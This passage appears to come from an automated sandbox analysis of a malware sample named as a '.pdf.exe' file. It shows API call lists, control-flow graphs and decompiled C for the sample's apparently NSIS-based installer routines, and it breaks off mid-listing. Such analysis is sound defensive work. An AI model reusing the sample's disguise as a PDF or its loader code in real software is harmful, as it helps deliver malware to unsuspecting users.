                                                                                                                0x004031b7
                                                                                                                0x004031b9
                                                                                                                0x004031b9
                                                                                                                0x00000000
                                                                                                                0x004031b7
                                                                                                                0x004031a9
                                                                                                                0x004031ad
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x004031cb
                                                                                                                0x004031cb
                                                                                                                0x004031d1
                                                                                                                0x004031dd
                                                                                                                0x004031dd
                                                                                                                0x004031e0
                                                                                                                0x004031e6
                                                                                                                0x004031e6
                                                                                                                0x004031e6
                                                                                                                0x004031ee
                                                                                                                0x004031ee
                                                                                                                0x00000000
                                                                                                                0x004031ee

                                                                                                                APIs
                                                                                                                • GetTickCount.KERNEL32 ref: 0040308E
                                                                                                                • GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe,00000400,?,?,?,?,?,0040387D,?), ref: 004030AA
                                                                                                                  • Part of subcall function 0040602D: GetFileAttributesW.KERNELBASE(00000003,004030BD,C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe,80000000,00000003,?,?,?,?,?,0040387D,?), ref: 00406031
                                                                                                                  • Part of subcall function 0040602D: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,?,?,0040387D,?), ref: 00406053
                                                                                                                • GetFileSize.KERNEL32(00000000,00000000,00444000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe,C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe,80000000,00000003,?,?,?,?,?,0040387D), ref: 004030F6
                                                                                                                • GlobalAlloc.KERNELBASE(00000040,}8@,?,?,?,?,?,0040387D,?), ref: 0040322C
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
                                                                                                                • String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft$}8@
                                                                                                                • API String ID: 2803837635-737403589
                                                                                                                • Opcode ID: b2925046ebf4ee23c20be954f21b6b8de3b8febbf6f0f410cc7df6a070a5bb34
                                                                                                                • Instruction ID: 750c061bb954c4555836cecba7cc54c639b148d890841a972b43b12454d44aa7
                                                                                                                • Opcode Fuzzy Hash: b2925046ebf4ee23c20be954f21b6b8de3b8febbf6f0f410cc7df6a070a5bb34
                                                                                                                • Instruction Fuzzy Hash: 7951B571904204AFDB10AF65ED42B9E7EACAB48756F14807BF904B62D1C77C9F408B9D
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 734 40657a-406585 735 406587-406596 734->735 736 406598-4065ae 734->736 735->736 737 4065b0-4065bd 736->737 738 4065c6-4065cf 736->738 737->738 739 4065bf-4065c2 737->739 740 4065d5 738->740 741 4067aa-4067b5 738->741 739->738 742 4065da-4065e7 740->742 743 4067c0-4067c1 741->743 744 4067b7-4067bb call 40653d 741->744 742->741 745 4065ed-4065f6 742->745 744->743 747 406788 745->747 748 4065fc-406639 745->748 749 406796-406799 747->749 750 40678a-406794 747->750 751 40672c-406731 748->751 752 40663f-406646 748->752 753 40679b-4067a4 749->753 750->753 754 406733-406739 751->754 755 406764-406769 751->755 756 406648-40664a 752->756 757 40664b-40664d 752->757 753->741 760 4065d7 753->760 761 406749-406755 call 40653d 754->761 762 40673b-406747 call 406484 754->762 758 406778-406786 lstrlenW 755->758 759 40676b-406773 call 40657a 755->759 756->757 763 40668a-40668d 757->763 764 40664f-40666d call 40640b 757->764 758->753 759->758 760->742 776 40675a-406760 761->776 762->776 767 40669d-4066a0 763->767 768 40668f-40669b GetSystemDirectoryW 763->768 771 406672-406676 764->771 773 4066a2-4066b0 GetWindowsDirectoryW 767->773 774 406709-40670b 767->774 772 40670d-406711 768->772 778 406713-406717 771->778 779 40667c-406685 call 40657a 771->779 772->778 780 406724-40672a call 4067c4 772->780 773->774 774->772 777 4066b2-4066ba 774->777 776->758 781 406762 776->781 785 4066d1-4066e7 SHGetSpecialFolderLocation 777->785 786 4066bc-4066c5 777->786 778->780 782 406719-40671f lstrcatW 778->782 779->772 780->758 781->780 782->780 789 406705 785->789 790 4066e9-406703 SHGetPathFromIDListW CoTaskMemFree 785->790 791 4066cd-4066cf 786->791 789->774 790->772 790->789 791->772 791->785
                                                                                                                C-Code - Quality: 72%
                                                                                                                			E0040657A(void* __ebx, void* __edi, void* __esi, signed int _a4, short _a8) {
                                                                                                                				struct _ITEMIDLIST* _v8;
                                                                                                                				signed int _v12;
                                                                                                                				signed int _v16;
                                                                                                                				signed int _v20;
                                                                                                                				signed int _v24;
                                                                                                                				signed int _v28;
                                                                                                                				signed int _t44;
                                                                                                                				WCHAR* _t45;
                                                                                                                				signed char _t47;
                                                                                                                				signed int _t48;
                                                                                                                				short _t59;
                                                                                                                				short _t61;
                                                                                                                				short _t63;
                                                                                                                				void* _t71;
                                                                                                                				signed int _t77;
                                                                                                                				signed int _t78;
                                                                                                                				short _t81;
                                                                                                                				short _t82;
                                                                                                                				signed char _t84;
                                                                                                                				signed int _t85;
                                                                                                                				void* _t98;
                                                                                                                				void* _t104;
                                                                                                                				intOrPtr* _t105;
                                                                                                                				void* _t107;
                                                                                                                				WCHAR* _t108;
                                                                                                                				void* _t110;
                                                                                                                
                                                                                                                				_t107 = __esi;
                                                                                                                				_t104 = __edi;
                                                                                                                				_t71 = __ebx;
                                                                                                                				_t44 = _a8;
                                                                                                                				if(_t44 < 0) {
                                                                                                                					_t44 =  *( *0x433edc - 4 + _t44 * 4);
                                                                                                                				}
                                                                                                                				_push(_t71);
                                                                                                                				_push(_t107);
                                                                                                                				_push(_t104);
                                                                                                                				_t105 =  *0x434f38 + _t44 * 2;
                                                                                                                				_t45 = 0x432ea0;
                                                                                                                				_t108 = 0x432ea0;
                                                                                                                				if(_a4 >= 0x432ea0 && _a4 - 0x432ea0 >> 1 < 0x800) {
                                                                                                                					_t108 = _a4;
                                                                                                                					_a4 = _a4 & 0x00000000;
                                                                                                                				}
                                                                                                                				_t81 =  *_t105;
                                                                                                                				_a8 = _t81;
                                                                                                                				if(_t81 == 0) {
                                                                                                                					L43:
                                                                                                                					 *_t108 =  *_t108 & 0x00000000;
                                                                                                                					if(_a4 == 0) {
                                                                                                                						return _t45;
                                                                                                                					}
                                                                                                                					return E0040653D(_a4, _t45);
                                                                                                                				} else {
                                                                                                                					while((_t108 - _t45 & 0xfffffffe) < 0x800) {
                                                                                                                						_t98 = 2;
                                                                                                                						_t105 = _t105 + _t98;
                                                                                                                						if(_t81 >= 4) {
                                                                                                                							if(__eflags != 0) {
                                                                                                                								 *_t108 = _t81;
                                                                                                                								_t108 = _t108 + _t98;
                                                                                                                								__eflags = _t108;
                                                                                                                							} else {
                                                                                                                								 *_t108 =  *_t105;
                                                                                                                								_t108 = _t108 + _t98;
                                                                                                                								_t105 = _t105 + _t98;
                                                                                                                							}
                                                                                                                							L42:
                                                                                                                							_t82 =  *_t105;
                                                                                                                							_a8 = _t82;
                                                                                                                							if(_t82 != 0) {
                                                                                                                								_t81 = _a8;
                                                                                                                								continue;
                                                                                                                							}
                                                                                                                							goto L43;
                                                                                                                						}
                                                                                                                						_t84 =  *((intOrPtr*)(_t105 + 1));
                                                                                                                						_t47 =  *_t105;
                                                                                                                						_t48 = _t47 & 0x000000ff;
                                                                                                                						_v12 = (_t84 & 0x0000007f) << 0x00000007 | _t47 & 0x0000007f;
                                                                                                                						_t85 = _t84 & 0x000000ff;
                                                                                                                						_v28 = _t48 | 0x00008000;
                                                                                                                						_t77 = 2;
                                                                                                                						_v16 = _t85;
                                                                                                                						_t105 = _t105 + _t77;
                                                                                                                						_v24 = _t48;
                                                                                                                						_v20 = _t85 | 0x00008000;
                                                                                                                						if(_a8 != _t77) {
                                                                                                                							__eflags = _a8 - 3;
                                                                                                                							if(_a8 != 3) {
                                                                                                                								__eflags = _a8 - 1;
                                                                                                                								if(__eflags == 0) {
                                                                                                                									__eflags = (_t48 | 0xffffffff) - _v12;
                                                                                                                									E0040657A(_t77, _t105, _t108, _t108, (_t48 | 0xffffffff) - _v12);
                                                                                                                								}
                                                                                                                								L38:
                                                                                                                								_t108 =  &(_t108[lstrlenW(_t108)]);
                                                                                                                								_t45 = 0x432ea0;
                                                                                                                								goto L42;
                                                                                                                							}
                                                                                                                							_t78 = _v12;
                                                                                                                							__eflags = _t78 - 0x1d;
                                                                                                                							if(_t78 != 0x1d) {
                                                                                                                								__eflags = L"kernel32::EnumResourceTypesW(i 0,i r1,i 0)" + (_t78 << 0xb);
                                                                                                                								E0040653D(_t108, L"kernel32::EnumResourceTypesW(i 0,i r1,i 0)" + (_t78 << 0xb));
                                                                                                                							} else {
                                                                                                                								E00406484(_t108,  *0x434f08);
                                                                                                                							}
                                                                                                                							__eflags = _t78 + 0xffffffeb - 7;
                                                                                                                							if(__eflags < 0) {
                                                                                                                								L29:
                                                                                                                								E004067C4(_t108);
                                                                                                                							}
                                                                                                                							goto L38;
                                                                                                                						}
                                                                                                                						if( *0x434f84 != 0) {
                                                                                                                							_t77 = 4;
                                                                                                                						}
                                                                                                                						_t121 = _t48;
                                                                                                                						if(_t48 >= 0) {
                                                                                                                							__eflags = _t48 - 0x25;
                                                                                                                							if(_t48 != 0x25) {
                                                                                                                								__eflags = _t48 - 0x24;
                                                                                                                								if(_t48 == 0x24) {
                                                                                                                									GetWindowsDirectoryW(_t108, 0x400);
                                                                                                                									_t77 = 0;
                                                                                                                								}
                                                                                                                								while(1) {
                                                                                                                									__eflags = _t77;
                                                                                                                									if(_t77 == 0) {
                                                                                                                										goto L26;
                                                                                                                									}
                                                                                                                									_t59 =  *0x434f04;
                                                                                                                									_t77 = _t77 - 1;
                                                                                                                									__eflags = _t59;
                                                                                                                									if(_t59 == 0) {
                                                                                                                										L22:
                                                                                                                										_t61 = SHGetSpecialFolderLocation( *0x434f08,  *(_t110 + _t77 * 4 - 0x18),  &_v8);
                                                                                                                										__eflags = _t61;
                                                                                                                										if(_t61 != 0) {
                                                                                                                											L24:
                                                                                                                											 *_t108 =  *_t108 & 0x00000000;
                                                                                                                											__eflags =  *_t108;
                                                                                                                											continue;
                                                                                                                										}
                                                                                                                										__imp__SHGetPathFromIDListW(_v8, _t108);
                                                                                                                										_a8 = _t61;
                                                                                                                										__imp__CoTaskMemFree(_v8);
                                                                                                                										__eflags = _a8;
                                                                                                                										if(_a8 != 0) {
                                                                                                                											goto L26;
                                                                                                                										}
                                                                                                                										goto L24;
                                                                                                                									}
                                                                                                                									_t63 =  *_t59( *0x434f08,  *(_t110 + _t77 * 4 - 0x18), 0, 0, _t108); // executed
                                                                                                                									__eflags = _t63;
                                                                                                                									if(_t63 == 0) {
                                                                                                                										goto L26;
                                                                                                                									}
                                                                                                                									goto L22;
                                                                                                                								}
                                                                                                                								goto L26;
                                                                                                                							}
                                                                                                                							GetSystemDirectoryW(_t108, 0x400);
                                                                                                                							goto L26;
                                                                                                                						} else {
                                                                                                                							E0040640B( *0x434f38, _t121, 0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion",  *0x434f38 + (_t48 & 0x0000003f) * 2, _t108, _t48 & 0x00000040); // executed
                                                                                                                							if( *_t108 != 0) {
                                                                                                                								L27:
                                                                                                                								if(_v16 == 0x1a) {
                                                                                                                									lstrcatW(_t108, L"\\Microsoft\\Internet Explorer\\Quick Launch");
                                                                                                                								}
                                                                                                                								goto L29;
                                                                                                                							}
                                                                                                                							E0040657A(_t77, _t105, _t108, _t108, _v16);
                                                                                                                							L26:
                                                                                                                							if( *_t108 == 0) {
                                                                                                                								goto L29;
                                                                                                                							}
                                                                                                                							goto L27;
                                                                                                                						}
                                                                                                                					}
                                                                                                                					goto L43;
                                                                                                                				}
                                                                                                                			}





























                                                                                                                0x0040657a
                                                                                                                0x0040657a
                                                                                                                0x0040657a
                                                                                                                0x00406580
                                                                                                                0x00406585
                                                                                                                0x00406596
                                                                                                                0x00406596
                                                                                                                0x0040659e
                                                                                                                0x0040659f
                                                                                                                0x004065a0
                                                                                                                0x004065a1
                                                                                                                0x004065a4
                                                                                                                0x004065ac
                                                                                                                0x004065ae
                                                                                                                0x004065bf
                                                                                                                0x004065c2
                                                                                                                0x004065c2
                                                                                                                0x004065c6
                                                                                                                0x004065cc
                                                                                                                0x004065cf
                                                                                                                0x004067aa
                                                                                                                0x004067aa
                                                                                                                0x004067b5
                                                                                                                0x004067c1
                                                                                                                0x004067c1
                                                                                                                0x00000000
                                                                                                                0x004065d5
                                                                                                                0x004065da
                                                                                                                0x004065ef
                                                                                                                0x004065f0
                                                                                                                0x004065f6
                                                                                                                0x00406788
                                                                                                                0x00406796
                                                                                                                0x00406799
                                                                                                                0x00406799
                                                                                                                0x0040678a
                                                                                                                0x0040678d
                                                                                                                0x00406790
                                                                                                                0x00406792
                                                                                                                0x00406792
                                                                                                                0x0040679b
                                                                                                                0x0040679b
                                                                                                                0x004067a1
                                                                                                                0x004067a4
                                                                                                                0x004065d7
                                                                                                                0x00000000
                                                                                                                0x004065d7
                                                                                                                0x00000000
                                                                                                                0x004067a4
                                                                                                                0x004065fc
                                                                                                                0x004065ff
                                                                                                                0x0040660e
                                                                                                                0x00406615
                                                                                                                0x00406621
                                                                                                                0x00406624
                                                                                                                0x00406627
                                                                                                                0x00406628
                                                                                                                0x0040662d
                                                                                                                0x00406633
                                                                                                                0x00406636
                                                                                                                0x00406639
                                                                                                                0x0040672c
                                                                                                                0x00406731
                                                                                                                0x00406764
                                                                                                                0x00406769
                                                                                                                0x0040676e
                                                                                                                0x00406773
                                                                                                                0x00406773
                                                                                                                0x00406778
                                                                                                                0x0040677e
                                                                                                                0x00406781
                                                                                                                0x00000000
                                                                                                                0x00406781
                                                                                                                0x00406733
                                                                                                                0x00406736
                                                                                                                0x00406739
                                                                                                                0x0040674e
                                                                                                                0x00406755
                                                                                                                0x0040673b
                                                                                                                0x00406742
                                                                                                                0x00406742
                                                                                                                0x0040675d
                                                                                                                0x00406760
                                                                                                                0x00406724
                                                                                                                0x00406725
                                                                                                                0x00406725
                                                                                                                0x00000000
                                                                                                                0x00406760
                                                                                                                0x00406646
                                                                                                                0x0040664a
                                                                                                                0x0040664a
                                                                                                                0x0040664b
                                                                                                                0x0040664d
                                                                                                                0x0040668a
                                                                                                                0x0040668d
                                                                                                                0x0040669d
                                                                                                                0x004066a0
                                                                                                                0x004066a8
                                                                                                                0x004066ae
                                                                                                                0x004066ae
                                                                                                                0x00406709
                                                                                                                0x00406709
                                                                                                                0x0040670b
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x004066b2
                                                                                                                0x004066b7
                                                                                                                0x004066b8
                                                                                                                0x004066ba
                                                                                                                0x004066d1
                                                                                                                0x004066df
                                                                                                                0x004066e5
                                                                                                                0x004066e7
                                                                                                                0x00406705
                                                                                                                0x00406705
                                                                                                                0x00406705
                                                                                                                0x00000000
                                                                                                                0x00406705
                                                                                                                0x004066ed
                                                                                                                0x004066f6
                                                                                                                0x004066f9
                                                                                                                0x004066ff
                                                                                                                0x00406703
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00406703
                                                                                                                0x004066cb
                                                                                                                0x004066cd
                                                                                                                0x004066cf
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x004066cf
                                                                                                                0x00000000
                                                                                                                0x00406709
                                                                                                                0x00406695
                                                                                                                0x00000000
                                                                                                                0x0040664f
                                                                                                                0x0040666d
                                                                                                                0x00406676
                                                                                                                0x00406713
                                                                                                                0x00406717
                                                                                                                0x0040671f
                                                                                                                0x0040671f
                                                                                                                0x00000000
                                                                                                                0x00406717
                                                                                                                0x00406680
                                                                                                                0x0040670d
                                                                                                                0x00406711
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00406711
                                                                                                                0x0040664d
                                                                                                                0x00000000
                                                                                                                0x004065da

                                                                                                                APIs
                                                                                                                • GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 00406695
                                                                                                                • GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,0042C248,?,004055D6,0042C248,00000000,00000000,00425A20,765723A0), ref: 004066A8
                                                                                                                • lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 0040671F
                                                                                                                • lstrlenW.KERNEL32(Call,00000000,0042C248,?,004055D6,0042C248,00000000), ref: 00406779
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: Directory$SystemWindowslstrcatlstrlen
                                                                                                                • String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch$kernel32::EnumResourceTypesW(i 0,i r1,i 0)
                                                                                                                • API String ID: 4260037668-3610614223
                                                                                                                • Opcode ID: c06be4e573324e40d3b735838f303e9f3324c9f348604da111048893f4ce4833
                                                                                                                • Instruction ID: 685928b229c5d1fd60d609eb920d771e11fa4d776b5b66b0bad6c944a0f90ddf
                                                                                                                • Opcode Fuzzy Hash: c06be4e573324e40d3b735838f303e9f3324c9f348604da111048893f4ce4833
                                                                                                                • Instruction Fuzzy Hash: 1D61D131900205EADB209F64DD80BAE77A5EF54318F22813BE907B72D0D77D99A1CB5D
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 856 4032b4-4032cb 857 4032d4-4032dd 856->857 858 4032cd 856->858 859 4032e6-4032eb 857->859 860 4032df 857->860 858->857 861 4032fb-403308 call 4034cf 859->861 862 4032ed-4032f6 call 4034e5 859->862 860->859 866 4034bd 861->866 867 40330e-403312 861->867 862->861 868 4034bf-4034c0 866->868 869 403468-40346a 867->869 870 403318-403361 GetTickCount 867->870 873 4034c8-4034cc 868->873 871 4034aa-4034ad 869->871 872 40346c-40346f 869->872 874 4034c5 870->874 875 403367-40336f 870->875 879 4034b2-4034bb call 4034cf 871->879 880 4034af 871->880 872->874 876 403471 872->876 874->873 877 403371 875->877 878 403374-403382 call 4034cf 875->878 882 403474-40347a 876->882 877->878 878->866 890 403388-403391 878->890 879->866 888 4034c2 879->888 880->879 885 40347c 882->885 886 40347e-40348c call 4034cf 882->886 885->886 886->866 893 40348e-403493 call 4060df 886->893 888->874 892 403397-4033b7 call 406a65 890->892 898 403460-403462 892->898 899 4033bd-4033d0 GetTickCount 892->899 897 403498-40349a 893->897 900 403464-403466 897->900 901 40349c-4034a6 897->901 898->868 902 4033d2-4033da 899->902 903 40341b-40341d 899->903 900->868 901->882 906 4034a8 901->906 907 4033e2-403418 MulDiv wsprintfW call 40559f 902->907 908 4033dc-4033e0 902->908 904 403454-403458 903->904 905 40341f-403423 903->905 904->875 912 40345e 904->912 910 403425-40342c call 4060df 905->910 911 40343a-403445 905->911 906->874 907->903 908->903 908->907 916 403431-403433 910->916 915 403448-40344c 911->915 912->874 915->892 917 403452 915->917 916->900 918 403435-403438 916->918 917->874 918->915
                                                                                                                C-Code - Quality: 95%
                                                                                                                			E004032B4(int _a4, intOrPtr _a8, intOrPtr _a12, int _a16, signed char _a19) {
                                                                                                                				signed int _v8;
                                                                                                                				int _v12;
                                                                                                                				intOrPtr _v16;
                                                                                                                				long _v20;
                                                                                                                				intOrPtr _v24;
                                                                                                                				short _v152;
                                                                                                                				void* _t65;
                                                                                                                				void* _t69;
                                                                                                                				long _t70;
                                                                                                                				intOrPtr _t75;
                                                                                                                				long _t76;
                                                                                                                				intOrPtr _t77;
                                                                                                                				void* _t78;
                                                                                                                				int _t88;
                                                                                                                				intOrPtr _t92;
                                                                                                                				intOrPtr _t95;
                                                                                                                				long _t96;
                                                                                                                				signed int _t97;
                                                                                                                				int _t98;
                                                                                                                				int _t99;
                                                                                                                				intOrPtr _t100;
                                                                                                                				void* _t101;
                                                                                                                				void* _t102;
                                                                                                                
                                                                                                                				_t97 = _a16;
                                                                                                                				_t92 = _a12;
                                                                                                                				_v12 = _t97;
                                                                                                                				if(_t92 == 0) {
                                                                                                                					_v12 = 0x8000;
                                                                                                                				}
                                                                                                                				_v8 = _v8 & 0x00000000;
                                                                                                                				_v16 = _t92;
                                                                                                                				if(_t92 == 0) {
                                                                                                                					_v16 = 0x422a20;
                                                                                                                				}
                                                                                                                				_t62 = _a4;
                                                                                                                				if(_a4 >= 0) {
                                                                                                                					E004034E5( *0x434f58 + _t62);
                                                                                                                				}
                                                                                                                				if(E004034CF( &_a16, 4) == 0) {
                                                                                                                					L41:
                                                                                                                					_push(0xfffffffd);
                                                                                                                					goto L42;
                                                                                                                				} else {
                                                                                                                					if((_a19 & 0x00000080) == 0) {
                                                                                                                						if(_t92 != 0) {
                                                                                                                							if(_a16 < _t97) {
                                                                                                                								_t97 = _a16;
                                                                                                                							}
                                                                                                                							if(E004034CF(_t92, _t97) != 0) {
                                                                                                                								_v8 = _t97;
                                                                                                                								L44:
                                                                                                                								return _v8;
                                                                                                                							} else {
                                                                                                                								goto L41;
                                                                                                                							}
                                                                                                                						}
                                                                                                                						if(_a16 <= _t92) {
                                                                                                                							goto L44;
                                                                                                                						}
                                                                                                                						_t88 = _v12;
                                                                                                                						while(1) {
                                                                                                                							_t98 = _a16;
                                                                                                                							if(_a16 >= _t88) {
                                                                                                                								_t98 = _t88;
                                                                                                                							}
                                                                                                                							if(E004034CF(0x41ea20, _t98) == 0) {
                                                                                                                								goto L41;
                                                                                                                							}
                                                                                                                							_t69 = E004060DF(_a8, 0x41ea20, _t98); // executed
                                                                                                                							if(_t69 == 0) {
                                                                                                                								L28:
                                                                                                                								_push(0xfffffffe);
                                                                                                                								L42:
                                                                                                                								_pop(_t65);
                                                                                                                								return _t65;
                                                                                                                							}
                                                                                                                							_v8 = _v8 + _t98;
                                                                                                                							_a16 = _a16 - _t98;
                                                                                                                							if(_a16 > 0) {
                                                                                                                								continue;
                                                                                                                							}
                                                                                                                							goto L44;
                                                                                                                						}
                                                                                                                						goto L41;
                                                                                                                					}
                                                                                                                					_t70 = GetTickCount();
                                                                                                                					 *0x40d384 =  *0x40d384 & 0x00000000;
                                                                                                                					 *0x40d380 =  *0x40d380 & 0x00000000;
                                                                                                                					_t14 =  &_a16;
                                                                                                                					 *_t14 = _a16 & 0x7fffffff;
                                                                                                                					_v20 = _t70;
                                                                                                                					 *0x40ce68 = 8;
                                                                                                                					 *0x416a10 = 0x40ea08;
                                                                                                                					 *0x416a0c = 0x40ea08;
                                                                                                                					 *0x416a08 = 0x416a08;
                                                                                                                					_a4 = _a16;
                                                                                                                					if( *_t14 <= 0) {
                                                                                                                						goto L44;
                                                                                                                					} else {
                                                                                                                						goto L9;
                                                                                                                					}
                                                                                                                					while(1) {
                                                                                                                						L9:
                                                                                                                						_t99 = 0x4000;
                                                                                                                						if(_a16 < 0x4000) {
                                                                                                                							_t99 = _a16;
                                                                                                                						}
                                                                                                                						if(E004034CF(0x41ea20, _t99) == 0) {
                                                                                                                							goto L41;
                                                                                                                						}
                                                                                                                						_a16 = _a16 - _t99;
                                                                                                                						 *0x40ce58 = 0x41ea20;
                                                                                                                						 *0x40ce5c = _t99;
                                                                                                                						while(1) {
                                                                                                                							_t95 = _v16;
                                                                                                                							 *0x40ce60 = _t95;
                                                                                                                							 *0x40ce64 = _v12;
                                                                                                                							_t75 = E00406A65(0x40ce58);
                                                                                                                							_v24 = _t75;
                                                                                                                							if(_t75 < 0) {
                                                                                                                								break;
                                                                                                                							}
                                                                                                                							_t100 =  *0x40ce60; // 0x425a20
                                                                                                                							_t101 = _t100 - _t95;
                                                                                                                							_t76 = GetTickCount();
                                                                                                                							_t96 = _t76;
                                                                                                                							if(( *0x434fb4 & 0x00000001) != 0 && (_t76 - _v20 > 0xc8 || _a16 == 0)) {
                                                                                                                								wsprintfW( &_v152, L"... %d%%", MulDiv(_a4 - _a16, 0x64, _a4));
                                                                                                                								_t102 = _t102 + 0xc;
                                                                                                                								E0040559F(0,  &_v152);
                                                                                                                								_v20 = _t96;
                                                                                                                							}
                                                                                                                							if(_t101 == 0) {
                                                                                                                								if(_a16 > 0) {
                                                                                                                									goto L9;
                                                                                                                								}
                                                                                                                								goto L44;
                                                                                                                							} else {
                                                                                                                								if(_a12 != 0) {
                                                                                                                									_t77 =  *0x40ce60; // 0x425a20
                                                                                                                									_v8 = _v8 + _t101;
                                                                                                                									_v12 = _v12 - _t101;
                                                                                                                									_v16 = _t77;
                                                                                                                									L23:
                                                                                                                									if(_v24 != 1) {
                                                                                                                										continue;
                                                                                                                									}
                                                                                                                									goto L44;
                                                                                                                								}
                                                                                                                								_t78 = E004060DF(_a8, _v16, _t101); // executed
                                                                                                                								if(_t78 == 0) {
                                                                                                                									goto L28;
                                                                                                                								}
                                                                                                                								_v8 = _v8 + _t101;
                                                                                                                								goto L23;
                                                                                                                							}
                                                                                                                						}
                                                                                                                						_push(0xfffffffc);
                                                                                                                						goto L42;
                                                                                                                					}
                                                                                                                					goto L41;
                                                                                                                				}
                                                                                                                			}


























                                                                                                                0x004032bf
                                                                                                                0x004032c3
                                                                                                                0x004032c6
                                                                                                                0x004032cb
                                                                                                                0x004032cd
                                                                                                                0x004032cd
                                                                                                                0x004032d4
                                                                                                                0x004032d8
                                                                                                                0x004032dd
                                                                                                                0x004032df
                                                                                                                0x004032df
                                                                                                                0x004032e6
                                                                                                                0x004032eb
                                                                                                                0x004032f6
                                                                                                                0x004032f6
                                                                                                                0x00403308
                                                                                                                0x004034bd
                                                                                                                0x004034bd
                                                                                                                0x00000000
                                                                                                                0x0040330e
                                                                                                                0x00403312
